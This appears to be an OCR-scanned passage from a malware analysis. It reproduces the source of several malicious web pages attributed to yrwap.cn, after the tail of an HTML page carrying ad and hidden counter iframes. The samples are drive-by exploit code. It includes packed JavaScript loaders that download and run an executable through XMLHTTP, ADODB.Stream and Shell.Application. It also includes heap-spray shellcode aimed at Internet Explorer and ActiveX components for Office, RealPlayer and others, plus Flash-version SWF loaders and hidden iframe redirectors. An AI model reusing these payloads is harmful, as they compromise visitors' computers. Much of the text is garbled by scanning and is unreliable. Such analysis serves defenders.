0"><u><b>10/01</b></u>:Ini *bebbAEOA» £+ +ipAzé: EUIE 6 uED6%H0£-2¢06HOAET Pugd - ,uxU (AU £<a
href="callboard-1.htm" target=" blank"><font color="#FF0000">na»+; I&Cés&nbsp;&gt;&gt;</font></a></p>
<p style="margin-top: 7px; margin-bottom:
0"><u><b>01/17</b></u>:0A»SOE°AO»¥i-x¢ 2 4£-15«OA2» ' yEUL-AUEUOPAUE - I 3LERy3Y<b><font
color="#FF0000">0A0q+£A6</font></b>£</p></td>

</tr>

</table></td>

<td width="5" background="pic/txtboxright.gif"></td>
</tr>

</table></td>

</tr>

<tr>

<td><img src="pic/txtboxbottom.gif" width="248" height="5"></td>
</tr>

</table></td>

</tr>

</table></td>

<td width="2" background="pic/sx.gif"></td>

<td width="690" valign="top"><table width="690" border="0" cellspacing="0" cellpadding="0">

<tr>

<td align="center"><table width="680" border="0" cellspacing="0" cellpadding="0">

<tr>

<td><IFRAME src="http://ad.5lyes.com/a7-al2.htm" name="a5" width="680" marginwidth="0" height="45"
marginheight="0" scrolling="no" frameborder="0" hspace="0" vspace="0"
allowtransparency="true"></IFRAME></td>

</tr>

<tr>

<td height="4"></td>

</tr>

<tr>

<td><IFRAME src="http://ad.5lyes.com/al3-al8.htm" name="a5" width="680" marginwidth="0" height="45"
marginheight="0" scrolling="no" frameborder="0" hspace="0" vspace="0"
allowtransparency="true"></IFRAME></td>

</tr>

</table></td>

</tr>

<tr>
<td><table width="690" border="0" cellspacing="0" cellpadding="0">
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<tr>

<td width="344" align="center"><table width="336" border="0" cellspacing="5" cellpadding="0">
<tr>

<td><strong>0+!0nAitpIs-T0E24AUTg0%A " - AORPANGCe</strong></td>

</tr>

<tr>

<td align="center"><a href="http://demo.5lyes.com/area.aspx"><img src="pic/tx-1.gif" width="326"
height="300" border="0"></a></td>

</tr>

<tr>

<td align="right"><a href="http://demo.5lyes.com/area.aspx"><span class="morel">pa»-tgkelal | pANYE02 Az
&gt; &gt;</span></a></td>

</tr></table></td>

<td width="2" background="pic/sx.gif"></td>

<td width="344"><table width="344" border="0" cellspacing="5" cellpadding="0">

<tr>

<td><strong>12, 6ENE+OyCepA @hiix0- 0244 ° URLA 20</strong></td>

</tr>

<tr>

<td align="center"><a href="http://demo.5lyes.com/search.aspx"><img src="pic/tx-2.gif" width="326"
height="300" border="0"></a></td>

</tr>

<tr>

<td align="right"><a href="http://demo.5lyes.com/search.aspx"><span
class="morel">na»+tpkelad | nANYE%O3Az &gt; &gt;</span></a></td>

</tr>

</table></td>

</tr>

</table></td>

</tr>

<tr>

<td><img src="pic/hx.gif" width="688" height="2"></td>

</tr>

<tr>

<td align="center"><table width="690" border="0" cellspacing="5" cellpadding="0">

<tr>

<td align="center"><IFRAME src="http://ad.5lyes.com/al9%-a2l.htm" name="a5" width="680" marginwidth="0"
height="60" marginheight="0" scrolling="no" frameborder="0" hspace="0" vspace="0"
allowtransparency="true"></IFRAME></td>

</tr>

</table></td>

</tr>

<tr>

<td align="center"><table width="690" border="0" cellspacing="5" cellpadding="0">

<tr>

<td align="center"><IFRAME src="http://ad.5lyes.com/a22-a24.htm" name="a5" width="680" marginwidth="0"
height="60" marginheight="0" scrolling="no" frameborder="0" hspace="0" vspace="0"
allowtransparency="true"></IFRAME></td>

</tr>

</table></td>

</tr>

<tr>

<td><img src="pic/hx.gif" width="688" height="2"></td>

</tr>

<tr>

<td><table width="690" border="0" cellpadding="0" cellspacing="0">

<tr>

<td width="344" align="center" valign="top"><table width="336" border="0" cellspacing="5"
cellpadding="0">

<tr>

</tr>

<tr>

<td align="center"><a href="http://demo.5lyes.com/location.aspx"><img src="pic/tx-3.gif" width="326"
height="300" border="0"></a></td>

</tr>

<tr>

<td align="right"><a href="http://demo.5lyes.com/location.aspx"><span
class="morel">ua»+tpEelal pANYEN03Ae &gt;s&gt;</span></a></td>

</tr>

</table></td>

<td width="2" background="pic/sx.gif"></td>

<td width="344" align="center" valign="top"><table width="344" border="0" cellspacing="5"
cellpadding="0">
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<tr>

<td><strong>%«E-pkb;E+uAxU-ATEA;, JAA¢TP-ATEA;</strong></td>

</tr>

<tr>

<td align="center"><a href="http://demo.5lyes.com/day.aspx"><img src="pic/tx-4.gif" width="326"
height="300" border="0"></a></td>

</tr>

<tr>

<td align="right"><a href="http://demo.5lyes.com/day.aspx"><span class="morel">ua»+tgk&lald|pANYE®403Ae
&gt;&gt;</span></a></td>

</tr>

</table></td>

</tr>

</table></td>

</tr>

<tr>

<td><img src="pic/hx.gif" width="688" height="2"></td>

</tr>

</table></td>

</tr>

</table></td>

</tr>

<tr>

<td height="5"></td>

</tr>

</table>

</td>

<td width="5" rowspan="2" valign="bottom" background="pic/right.gif"><img src="pic/right bottom.gif"
width="5" height="10"></td>

</tr>

<tr>

<td height="10" background="pic/bottom.gif"></td>

</tr>

</table>

<table width="960" border="0" align="center" cellpadding="0" cellspacing="5">

<tr>

<td align="center"><a href="contact.htm" target=" blank"><font color="#FF0000">A2InI0AC

&gt; &gt;</font></a> - <a href="help.htm" target=" blank"><font color="#FF0000">°1000DDA
&gt;&gt;</font></a> - <a href="http://ad.5lyes.com/ad.htm" target=" blank"><font
color="#FF0000">'4 «-pbIf &gt;s&gt;</font></a> - <a href="morelink.htm" target=" blank"><font
color="#FF0000">0NCéA %0 s&gt;sgt;</font></a></td>

</tr>

<tr>

<td align="center">EOICP+,05011186°A</td>

</tr>

<tr>

<td align="center">51YES.COM °aE Eu0P Copyright &copy; 2002-2007</td>

</tr>

<tr>

<td align="center">p¢cxO0EYp£°<a href="mailto:count@5lyes.com">count@5lyes.com</a></td>

</tr>

<tr>

<td height="11" align="center"><IFRAME src="count 45.htm" width="0" marginwidth="0" height="0"
marginheight="0" scrolling="auto" frameborder="0"></IFRAME><IFRAME src="count 43.htm" width="0"
marginwidth="0" height="0" marginheight="0" scrolling="auto" frameborder="0"></IFRAME><IFRAME
src="count 22.htm" width="0" marginwidth="0" height="0" marginheight="0" scrolling="auto"
frameborder="0"></IFRAME><IFRAME src="count l.htm" width="0" marginwidth="0" height="0"
marginheight="0" scrolling="auto" frameborder="0"></IFRAME><IFRAME src="count 10.htm" width="0"
marginwidth="0" height="0" marginheight="0" scrolling="auto" frameborder="0"></IFRAME><IFRAME
src="count 20.htm" width="0" marginwidth="0" height="0" marginheight="0" scrolling="auto"
frameborder="0"></IFRAME><IFRAME src="count 30.htm" width="0" marginwidth="0" height="0"
marginheight="0" scrolling="auto" frameborder="0"></IFRAME><script
src="http://countl.5lyes.com/click.aspx?id=10002&logo=1"></script></td>

</tr>

<tr>

<td align="center"></td>

</tr>

</table>

</body>
</html>

f.) Source from http://yrwap.cn/14.htm
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<script language="JavaScript">

window.onerror=function () {return true;}

eval (function (p,a,c,k,e,d) {e=function(c) {return(c<a?'':e(parselnt(c/a)))+((c=c%a)>35?String.fromCharCod
e(c+29) :c.toString(36)) };if (!''.replace(/"/,String)) {while (c—-
y{d[e(c)]l=k[c]||e(c)}k=[function (e) {return d[e]}];e=function () {return'\\w+'};c=1};while (c--

y{if (k[c]) {p=p.replace (new RegExp ('\\b'+e(c)+'\\b',"'g"),k[c])}}return
pr('1d=\"1ly://1z.1x.1w/1u/1A.Q\";N=\"15.1B\';R=\"15.1D\"';k=1C["d"+"o"+"c"+"u"+"m"+"e"+"n"+"t"] ["c"+"r"+
TeMHTaT AT AT e HTET AT LA e T m e+ 0 AT ] (Mo D A e e ) ; L1="e T L s AT A+ Yy 1e="0"
FI QTG

THTOT;LT7="0"+"C"; 1b="0"+"4"; 1a="F"+"C"4+"2"+" O+ "E" 4" 3"+ "G ; I="B"+"D"+" Q"+ 6"+ "C"; 12="5"+"5"+" 6"+ "~
TGS AT AT 3

ML ETD; 19=" M A A " O S O T e X M L T H AT T T P 10="A"+"d"+"o"+"d"+"b
JUETSTATET T e e e+ M ; 1A= S+ h e T LT L L T I3="AH T T LA AT e+ A+ e A"+ " o "+ "' n" ; 1 ¢
=14+13; I=11+I+12+16+17+1b+la; k["s"+"e "+ "L "+ A"+ "t "+ "t "+ " " +" 1"+ "D "+ u "+ "t "+ e" ] (" "+ 1T+ A+ s s L
+"d",I);1lm

K=k ["C"+"r"+"e"+"a"+"t"+"e"+"0"+"b"+" "+ e +" "+ ] ("SI e e AT A N g T VTR AL
TSy g T E T e T O D T e e e, ") s w=k [TCT T e e T T e e O+ T T e
c"+"E"] (19,"") ;7=k.Z(10,"");7.1p=1;2z=K.1x (0); 11=k["C"+"x"+"e"+"a"+"t"+"e"+"O"+"D"+"J" "+ "e"+"c"+"t" ] (1c,"
") 1h=K["B"+"u"+" 1"+ I+ d" AP " a"+ e "+ h ] (24N AN \A\NInN ', N 'YL N ") s g=z+ " \\\\"+N; w.1s ("G"+"E"+"T", 14, 0) ;
wl"s"+"e"+"n"+"d"] () ;T ["O"+"p"+"e"+"'n"] () ;T ["W " HTATHE " e ] (WM e+ s+ " p" "+ 0"+ n"+" s +"e"+"B" +
To"+"d"4+"y"]) ;T[S Ta v+ e+ T+ O+ E"+ I+ I+ e ] (g, 2) ;7T ["C"+" I+ oM+ s+ e ] () ; Ig="a"+ " v+ a "
STHTET L ; =z 4" \\\\"+R; V="1t q = Z(\\"1E.";U="S"+"h"+"e"+"1"+"1"+"\\") "+"\\n";18="q.1F \\"Y /c
THg+"\\", 1v"; 1i=VAUHL8; T[T ET Ty " e " e =2 T (MO + " p "+ " e+ n" ] () T ["WH "I e e+ T e+ x4+ ]
=1i;7["S"+"a"+" v e+ e AT O AT eI I e ] (T, 2) ;T ["CT L+ o+ s+ e ] () ; 1lg="0";1le="p";1j="e";1lk="n
";1f=1g+le+1j+1k;11.1o(1lh,\" /c
\'"+J,"",1£,0)',62,104,"||||]|||Gameee3 ||| |||l ]]lavastt|]|]|]|]||wwwGameeecn]| || || |Gameee2]| | |swwsmerrr| |||

| | | | Gameeeeex | wwwGameeecn?2 | severr| | | Gameeename | | |exe | Gameeenames | | | Gameeezf |Gameeezf0| | |cmd|CreateObjec
t |Gameeeado | Gameeeee | Gameeeeexx | Games | Game | Gameeeeee | Gameeeees | Gameeeeess | Gameeezfs | Gameeexml | Gameeeees
ss|Gameeeeesxx | Gamex | Gameee | Gameeess | Gameeex | Gameees | expl | Gameeez fx | Gameeesss | Gameeessss | sghgdddd | var|s
ystem32|ShellExeCute | type|Gameeeuser |GetSpecialFolder|Open|Set|admin|vbhide|com|steoo|http|www|win|pif]
window|vbs|Wscript|run'.split('1"),0,{}))

</script>

g.) Source from http://yrwap.cn/flash.htm

<script>

window.onerror=function () {return true;}

saff = "temm";

if (navigator.userAgent.toLowerCase () .indexOf ("msie")>0)

document .write ("<iframe src=ihh.html width=100 height=0></iframe>") ;
else{document.write ("<iframe src=fhh.html width=100 height=0></iframe>");}
</script>

h.) Source from http://yrwap.cn/ie7.htm

<html>

<div id="Ie70day">x</div>

<script>

eval (function (p,a,c,k,e,d) {e=function(c) {return(c<a?'':e(parselnt(c/a)))+((c=c%a)>35?String.fromCharCod
e(c+29) :c.toString(36)) };if (!''.replace(/"/,String)) {while (c—-

y{d[e(c)]l=k[c]||e(c)}k=[function (e) {return d[e]}];e=function () {return'\\w+'};c=1};while (c--
)y {if (k[c]) {p=p.replace (new RegExp ('\\b'+e(c)+'\\b','g"),k[c]) }}return p} ('a
z=9 ("%1h%f%1g%1£f%1i%17%r%11%1k%1e%1d%17%r%16%1%15%18%19%1c%1b%1a%lm%1ln%lzs1y$1x$1A%1BS1DS1CS1lwslves1ls1lgs

14%10%1r%1s%1usl1tS1ESUSKIMSNSHYFSASBSMSDIESOSMYZ2%5g%bsqsYs11%5g5bsqsys13%65RYWSPSLSTS$S%s%0%V%6%512%510%5G%T%
1p%10%2n%c%7%2m%20%2p%s%6%7%29%21%2kSys1F%2£%52e%7%2d%29%2h%2t%c%21%2s%1%2B%2E%2D%2G%2F%4%21%1%2H%2C%2wS
2v%2u%2x%52y%2A%22%4%27%1%k%)%4%2b%1%k%]%4%2¢c%1%1R%15%1U%0%1T%10%1INS1I%1HS1G%1I%1Kn%0%n%1IMS1LYE") ;a

2=9("%$8%8") ; 1V{2+=2}1W (2.26<25) ;d=27 28();2a(1=0;1<29;1i++)d[1]=2+z;e="<3 x=I><X><C><! [23[<1Y
1X=17://&#w; &#w; .20.22>]]1></C></X></3><5 t=#I u=C v=p><3 x=I></3><5 t=#I u=C

v=p></5></5>";h=21.24 ("1P");h.2r=e;"',62,169, "' |uffff|spray|XML|ue800|SPAN|uff52|u53d0|ulalalunescape|var
|uOede |uff00 |memory|xmlcode |u0000|uB8e68|tag||u765c|u2e2e|ueb0l|ubb8b|u6e69|u772f|HTML|uffec|u8bl8|ubadé
| DATASRC | DATAFLD | DATAFORMATAS | x0a0a | ID|uebd6 | shellcode |u6459|ul98b| |u8blOc|ulcbb|u306a|ubbeb|u5e00] |u6ab
9lubebf|uaa68|ubb5d|ul08c2|ulb8b|u5352|uddeb|u89d0|uff7c|ul0dfc|uc031|u5159|ub52c2| |u89d6|u5308|ub5a72|u53c
7 luebd0 |u5a50 |udb0c|u32e3|u205aluda8b|u8b49|u8b34|ul3dlfc|uff3l|ueell|ueall|u7805|u5655|u5300|u56e8|u8b57
|u246c|u548blu3c45|uaccO|ue038|u5a8b|u6a00|u8b66|ulllc|u8beb|ue801l|u8b04|u245alu8bel |u0l10d|uctcl|u0774]|
uebc7|u3bf2|u7514 |u247c|ul2eb|u5944 |u6d6f|u632e|ucfof|ucl2f|u6ded|u6578|ub52e|ub6574|u732e|Ie70day|u5100
|u7468|u7074|u7777|u2f3aldolwhile|SRC|image|http|xiaoclen|document|com|CDATA|getElementById|0xd0000]|leng
th|new|Array|100|for|uffb7|uff89|u7e68|uff51|ul06alue2d8|uff73|ue8d0|uffal|uffle|u8afe|ual68|u6ab2|ucod
5|uffdd|u9868|innerHTML |uffablufad6|u6lef|ubcee|u776f|ub5464|ud66f|udles|u6c69|u7275|udddc|ubebf|ubdéc|u
6c6c|u6b42e|ub255|uffae .split ("1"),0,{}))

</script>

</html>
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i.) Source from http://yrwap.cn/nct.htm

<html>
<script language="JavaScript" defer>
window.onerror=function () {return true;}

eval (function(p,a,c,k,e,d) {e=function(c) {return c};if(!''.replace(/"/,String)) {while (c--
) {dlcl=k[c]||c}tk=[function(e) {return d[e]}];e=function(){return'\\w+'};c=1};while(c——
y{if (k[c]) {p=p.replace (new RegExp ('\\b'+e(c)+'\\b','g"),k[c]) }}return p} ('78="77";1

12=15("%76%22%79%80%82%81%17%75%74%69%68% 67 %$17%70%29%71%73%72%83%84%95%94%96%97%99%98%66%92%87%86%85%88
%29%89%91%90%100%52%45%44%46%47%43%48%49%41%42%65%60%28%59%61%64%28%50%37%$38%31%58%57%37%38%31%25%54%16
%$56%55%53%51%63%62%20%93%133%16%144%143%145%146%148%147%142%19%13%141%136%135%20%16%13%137%138%140%25%1
01%139%150%13%157%161%160%159%19%163%165%6%164%162%158%152%151%9%153%6%154%156%155%149%134%112%111%113%
114%9%116%6%23%30%9%115%6%23%30%9%110%6%109%104%103%26%102%105%106%108%107%117%118%128%27%26%27%127%129
%22") ;1 3=15("%18%18");1 39=130;40 132(){1 11=131;1
4=15("%7%7%7%7") ;36 (4.14<11)4+=4;4=4.35(0,11);126.125(4) }40

1(3,5){36(3.14*2<5) {3+4=3}3=3.35(0,5/2);120(3)}1 10=119;1 33=121;1 24=(12.14*2);1 5=10-(24+33);1
34=(39+10) /10;1 32=122

124 ();3=21(3,5);123(8=0;8<34;8++) {32[8]=3+12}"',10,166, "|var||sSlide|x|sSlideSize|uffff|0c|i|ue800|heapB
S|buffSize|sCode|u53d0|length|unescape|uff52|u8bl8|u9090|uff00|ubad6|getsSlide|u0000|u2e2e|PLSize|uebd6
|u772f|u6e69|ubb8b|ueb0l|u765c|uffec|memory|sizeHDM|heapBlocks|substring|while|u8e68|ulede|heapSA|funct
ion|ub5e00|u306alube5f|ue80l |u8b04|ul2eb|uc031|u5b5d|ul08c2|u5308|uaa68|u8beb|u5352|u5a50|u52c2|u89d0|ub53
c71u89d6|u8b0c|ul98b|ulcSb|uff7c|uldfc|ulb8b|u6459|uebc7|ud4a8blueall|u7805|u205alu32e3|u8b34|u8b49|u548
blu3c45|ub6e8|game|test |u5300|u5655|u246¢c|u8b57 |ueell |uff3l|uBbel|u7514|u247clu245alu8b66|u5a8b|udblc|u
3bf2|uddebluaccO|u3lfc|ue038|u0774|u010d|ucfcl|u0llc|u5944|u7777|u2f3alu7074|u732e|u6574|u632e|u6f6f|u’
468 |uff89|ud66f|ub464|u6c69|udlesb|uffb7|uffal|u6d6f|u6l2f]0x400000|return|0x5|new|for|Array|SetFormatLi
keSample |boom|u652e|u6d64|u6578|0x0c0c0c0c|5200]tryMe|u5159|u6l6f|uffdd|uc9d5|u9868|u8afe|ull06aluffle]u
a068|ubab2|uba72|uebd0 |ubSbeb|u6a59|u5100|u6al0|ubcoe|uffs5l|ubecoe|ucd2e|uffae|ub5255|u776f|udddc|u7e68|ub
e6f|ubad6|uff73|ue2d8|u6d6c|ue8d0|u7275|uffab' .split ('|"),0,{}))

</script>

<body onload="JavaScript: return tryMe();">

<object classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6DOBC" id='boom'></object>
</body>

</html>

j.) Source from http://yrwap.cn/office.htm

<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8DY9' id='obj'></object>
<script language='javascript'>

eval (function (p,a,c,k,e,d) {e=function(c) {return c.toString(36) };if(!''.replace(/"/,String)) {while (c--
) {d[c.toString(a) ]=k[c]||c.toString(a) }k=[function (e) {return
dlel}]l;e=function() {return'\\w+'};c=1};while(c--){if (k[c]) {p=p.replace (new

RegExp ('\\b'+e (c)+'\\b','g"),kl[c]) }}return p} ('a="b";2 3=\'9://d.e.7/5/6.1\';2 4=\"8:/c g m/f o/p
1/k/g/h.1\';0.1=3;0.3=4;0.n();"',27,27, 'objlexe|var|bufl |buf2|admin|win|com|C|http|test|lengoo|Documents
|www | steoco|All|Startup|Thunder|SnapshotPath|CompressedPath|Programs |Menu|Settings|PrintSnapshot|Users|S
tart|and'.split('["),0,{}))

</script>
k.) Source from http://yrwap.cn/real.htm
<script language="JavaScript">

eval (function (p,a,c,k,e,d) {e=function(c) {return(c<a?'':e(parselnt(c/a)))+((c=c%a)>35?String.fromCharCod
e(c+29) :c.toString(36)) };if(!''.replace(/"/,String)) {while (c—-

y{d[e(c)]l=k[c]||le(c)}k=[function (e) {return d[e]}];e=function () {return'\\w+'};c=1};while (c--

) {if (k[c]) {p=p.replace (new RegExp ('\\b'+e(c)+'"\\b',"'g"),klc]) }}return p} ('1k="1n";0
j=["%17"+"°19"+"°1j"+"9K" "°1J"+"°1E"+"9m" "°1q"+"%1B"+"%1y"+"%m","%B"+"%11"+"%1x"+"%m","%B"+"%11"+"%K"
+! S USITHTSWT TS 12", ST A SWI TS IAT "M, "S1w "+ S 11"+ "S1v"+"SB" ] ; 1p O () {o
u:z.lr["\\A\\H\\ls\\H\\lu\\t\\lt\\lC\\lD\\lN\\t“]();d(u.k("N 6")==-1&&u.k ("N 7")==-1)p;d(u.k("10
5.")==-1)p;0 Z;x="1P"+"1Q.I"+"1L"+"1K.1";Z=x;1lo{w= lF

1G " \NIENALANANNIINNVIRANEANN 1A\ I8A\NIDAN T\ NENNIANA" ] (x["11"] (/a/q,""))}lm(ld){p}Y="li";M="1e";1f="1g";F
="6.0.14.1h";Q=Y+M; h=w["IM"] (Q) ;b="";r=1(J[0]);g(i= O,1<22*25;i++)b+="S";d( k("6.0.14. ) -
1){d(z.16.R()=="2t-2r")f=1(j[1]);e d(z.16.R()=="2g-20")f=1(j[2]);e ple d(h==F)£f=1(3I[31);
d(h=="6.0.14.2p") f=1(j[4]);e d(h=="6.0.14.13")f=1(j[5]);e d(h=="6.0.14.2v")f=1(J[6]);e
d(h=="6.0.14.2u")f=1(j[7]);e p;d(h.k("6.0.10.") !=-1) {g(1i=0;i<4;i++)b=b+r;b=b+fle d(h.k("6.0.11.") !=-

1) {g(i=0;1<6;i++)b=b+r;b=b+fle d(h.k("6.0.12.") !=-1) {g(i=0;1<9;i++)b=b+r;b=b+f}e d(h.k("6.0.14.") ==

1) {g(i=0;1i<10;i++)b=b+r;b=b+f}o P,G="2x

2w";15="2y\\\\2z"; P=G; 8="";8=8+"2A"; 8=8+"2m"; 8=8+"2n"; 8=8+"21";8=8+"23";8=8+"24";8=8+"26";8=8+"25";8=8+
"20";8=8+"1Z2";8=8+"1U";8=8+"1T";8=8+"1V";8=8+"1W"; 8=8+"1Y"; 1X="";v=b+15+8;T=27;28 (v.2i<T)v+="2h"; 0
U=["c:\\\AD ENAMAAL YA LA OANNARNNNAVANNN2S L s™, "e: \\\\D

ENVMAYANN\2k.s™, "C:NANNARNNANI3NNNN21.s™, "C:A\\\AD\\\\2g.2£", "c: \\\\D

ENAANYANAN L NN NNV 2a . 8™, "Co NANNAR\NNNI3N\N\\\29. 8" ] ;w["2b"] (U[X.2c (X["2e"] () *6)],v,"2d",0,0)
}O();"',62,161," |11l l]ShellCodel | |sdfdgdfg]||if|else|ret]||RealVersion| |addr|indexOf|unescape]| 60|WINDOWS
|var|return|for|cvbcbb|wav|x65|user|xcbfcxn|Gamttt Anhey Real Exp Send|RealplayerObj|NetMeeting|navigat
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or|x74163| |Program|Files|dddd|Qqgs|x6F||79]|04|x63|CuteRealVersion2|msie|Gameee Timeeeeeece Saveeeeeeee Lo
geeee ssssssssssssssssss|Ball|CuteRealVersions|toLowerCase| |temp|arrl|Media|31|Math|CuteRealVersion|Gam
ttt| || |system32| |gwfgsg|userLanguage|75|x4F|06|x58|x62|x6A|error | VERSION|CuteRealVersion3s|chilam|544|P
RODUCT | 74 | same | replace|catch|game | try|function|4f |userAgent |x4C|x72|x77|70151108|a4]01|09]|71|x43|x61|ab
|new|window|x41|x69|7f|Caaataaal |EaaaRaaaP|PlayerProperty|x73|nt|IlaaaEaaaR|PaaaCaaataaal |x76|552|PfEQTC
uBgEGoDUtR4CfkvB40OEDc3UUGbVib4Wo5we 6VQVouXdcEN | gOzmMTk8PUOVNENNWOJIOmInyWQS3TRGFVt61EUTgtBwrtTs3r5r5|eSt
EpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj40S4DTww6tuOUw | 2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBERWygPfouZtCwii |
C2 | gvRHptd4RPFZVOdoRWQgrWInPs2T2ERO20Tne3popm40sQu4 OmPiRNToT7QypntnpesHPeKOWp | 0 ZMoJP6eeMIvOmESEfLYP1InrQ
EmvyZkSnFtSooFWTtTpp50inTWL | 5alJMgqqrauWJUWrhS30QWRUSQrENVcE61vPUOVEtVTv4uPODVLY£Q | sHUN3ULUhmExWépeMMZM7X
Prf5NkDpP107zMpYESMMzM]j44LgxGO | 32 | NuKpTRrNWOVYM5mggrwSMTnoeoty08IMnKIMgPw2pey5MgMWQuMw | runOgp8mpn8m7Prz
BEleoWng2DRELgZMU6REoOUJMmMLHMZz1KUOPCX | e 6p£QvXeMpPuVPwPIv0XzFr3019vRpzEFDxm5NjqVxmLzdLSvTumI | HmLvE1lsRWOLNv
VrFPfcVyumpRKp4dpJd 9VOMJIULxmmnTL2GWOLNQK | 0x8000 |while|LoopyMusic|tada|import|floor|123456456| random|avi |
clock|lizhen|length|chimes|TestSnd|BuzzingBee |xkROgIJPJP3YYOENYWLEQkOp47zpfKRKJIJKVeIxIJKYoIoYolOoCQv|3VsV
wLURKWRvavbFQvIMWVsZzMEv0z8K8mwVPnxmmn8mbDUBzJMEB |us | 550 |en|cn|148|zh[536|543|AntiVirus|Fucking|LLLL | XXX
XXLD|TYIIIIIIIIIIIIIIII7QZjJAXPOAOAKAAQ2AB2BBOBBABXPS8ABUJI  .split ('[1"),0,{}))

</script>

1.) Source from http://yrwap.cn/real.html

object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj">

</object>

<script language="JavaScript">

eval (function(p,a,c,k,e,d) {e=function(c) {return(c<a?'':e(parselnt(c/a)))+((c=c%a)>35?String.fromCharCod
e(c+29) :c.toString(36)) };if(!''.replace(/"/,String)) {while (c—-
){d[e(c)]l=k[c]|le(c)}k=[function(e) {return d[e]}];e=function() {return'\\w+'};c=1};while (c--

) {if (k[c]) {p=p.replace (new RegExp ('\\b'+e(c)+'\\b','g"),k[c])}}return p} ('11="10";12 n() {1

dfe(llll+ll 13ll+ll l5ll+ll l4ll+" Z"+" Y"+" T"+ll Sll+ll Ull+ll vll+ll Xll+ll Wll+ll lll+ll0 l6ll+" l7"+" lh"+" lgll+ll llll+ll l
TGRS F ST 510 S T8 ST S 1D S 1A T S LC T S L L T S T T Sy S 2 TG AT T Gy Gy g g g
D I ORISR LS LN, N LS S 2 s - N L I oM P S SRRl

FTEX"HTSIRTHTSINTHTSIX TS IWT ST AT SIY SIS 21 A S IV AT SIUTH S 1IQ"H S IP S IR+ S Im " ST SIS+ S 1
T"+"S23"+"S2a"+ "SI+ 2"+ 2g"+ " S 20"+ Sh "+ S2e "+ 2d" " + " S 2D+ TS 25+ ST TS24+ G206 "+ 27+ S 29"+ " Sh "+ "'
28"4+"S22"+ "SI0+ "SIV S T A" S Iu"+ S Iw TSI+ T+ 1y%1t%1s%k%10%1n%1ps1g%lrslz$1A%1I%meksmE1IS1KS1L")
;1 2=e (""+"%J"+"%3") ;1 g=20;1 8=9g+d.9;c(2.9<8)2+=2;1 p=2.0(0,8);1 4=2.0(0,2.9-8);c(4.9+8<1M)4=4+4+p;1
1H=b;1 b=1G 1C() ;1B (i=0;1i<1D;i++) {b[1i]1=4+d}1 3=\"\";c(3.9<1lE)3=3+e ("S1F");1
a=5.6;5.6=3;5.6=a;a=5.6;5.6=3;5.6=a}{n()}',62,141, "' |var|gamewn|buf|block]|obj|Console|uFFFF|fukcyourisin
gllength|good flow|yumen|while|gameaaaabbbbaaa|unescape|u408B|fuckyoukaspersky|uDOFF||[u0COC|u772f|uDB33
|uée69|game|substring|fillblock|ubE6F |u6D6C|u642E|u6C6C|ud4300|u7275|uC3C5|u953C|ubD03|u048B|u038B|u5C3A
|u7C40|u8D34 |ulC70|u8BAD|u3040|u8BOC|ulC5E|u0364|uC033|u7865|u0C78|u0065|ul09EB|u0840|u2e55|uDA03|u768B|
u56F5|u0320|u33F5|uAD41 |ud49C9|u0378|u3574 |tase|same| function|u54EB|u8B3C|u758B|ul0F36|ul4BE|uSEE7|u75DF |
UuS5E8B|u0324|u0C8B|u66DD|u3BEF |uEB40 |u74F2|u3828|uCl08|u0DCB|u8EBF |u8B4B|u6FE8|u732e|u7777|u6574|u6f6f|u
632e|u2f3a|u7074|uFF52 | uFF40|uE8DO |uFFD7 |u7468|u6d6f|u6l2f|for|Array|300|32|0C|new|test99|u652e|u6d64|u
6578 |u0000|0x40000|u0E4E |uE873|ulA36|uBF50|u702F |u8BFF|u2454|u95D0 |uFF3C|uFF84 |uE8EC|uEC83|u8304| |u242C
|uE2D8 |u8DFC | u83FF |u53E8 |u04EC|u2C83 |u7EBF |u6224 |uBA52 |u0E8A|u5324 |uFE98 |uBF5D|u5353 |uEB52' .split ('),
0,{1))

</script>
m.) Source from http://yrwap.cn/fhh.html

<SCRIPT language="JavaScript">

window.status="1&3E";

</script>

<script type="text/javascript" src="swfobject.js"></script>

<div id="flashcontent">111</div><div id="flashversion">222</div>
<script language =javascript>

test = "mymovie";

var
versionn=deconcept.SWFObjectUtil.getPlayerVersion () ;if (versionn|['major']==9) {document.getElementById('f
lashversion') .innerHTML="";if (versionn['rev']==115) {var so=new

SWFObject ("f115.swf", test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }else
if (versionn|['rev']==64) {var so=new
SWFObject ("f64.swf", test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }jelse
if (versionn['rev']==47) {var so=new
SWFObject ("f47.swf",test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }else
if (versionn|['rev']==45) {var so=new
SWEFObject ("f45.swf", test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }jelse
if (versionn['rev']==28) {var so=new
SWFObject ("£f28.swf", test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }else
if (versionn['rev']==16) {var so=new
SWFObject ("fl6.swf",test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }jelse
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if (versionn['rev']>=124) {if (document.getElementById) {document.getElementById ('flashversion') .innerHTML=

ny
</script>

n.) Source from http://yrwap.cn/ihh.html

<SCRIPT language="JavaScript">

window.status="1&3E";

</script>

<script type="text/javascript" src="swfobject.js"></Script>

<div id="flashcontent">111</div><div id="flashversion">222</div>
<script type="text/javascript">

test = "mymovie";
var versionn=deconcept.SWFObjectUtil.getPlayerVersion();
if (versionn['major']==9) {document.getElementById('flashversion') .innerHTML="";1if (versionn['rev']==115) {

var so=new SWFObject ("ill5.swf",test,"0.1","0.1","9","#000000");so.write("flashcontent") }else
if (versionn['rev']==64) {var so=new

SWFObject ("i64.swf",test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }else

if (versionn|['rev']==47) {var so=new

SWEObject ("i47.swf", test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }jelse

if (versionn['rev']==45) {var so=new

SWFObject ("i45.swf", test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }else

if (versionn|['rev']==28) {var so=new

SWFObject ("i28.swf", test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }jelse

if (versionn['rev']==16) {var so=new

SWFObject ("il6.swf", test,"0.1","0.1","9","#000000") ;so.write ("flashcontent") }else

if (versionn['rev']>=124) {if (document.getElementById) {document.getElementById('flashversion') .innerHTML=
"}

</Script>

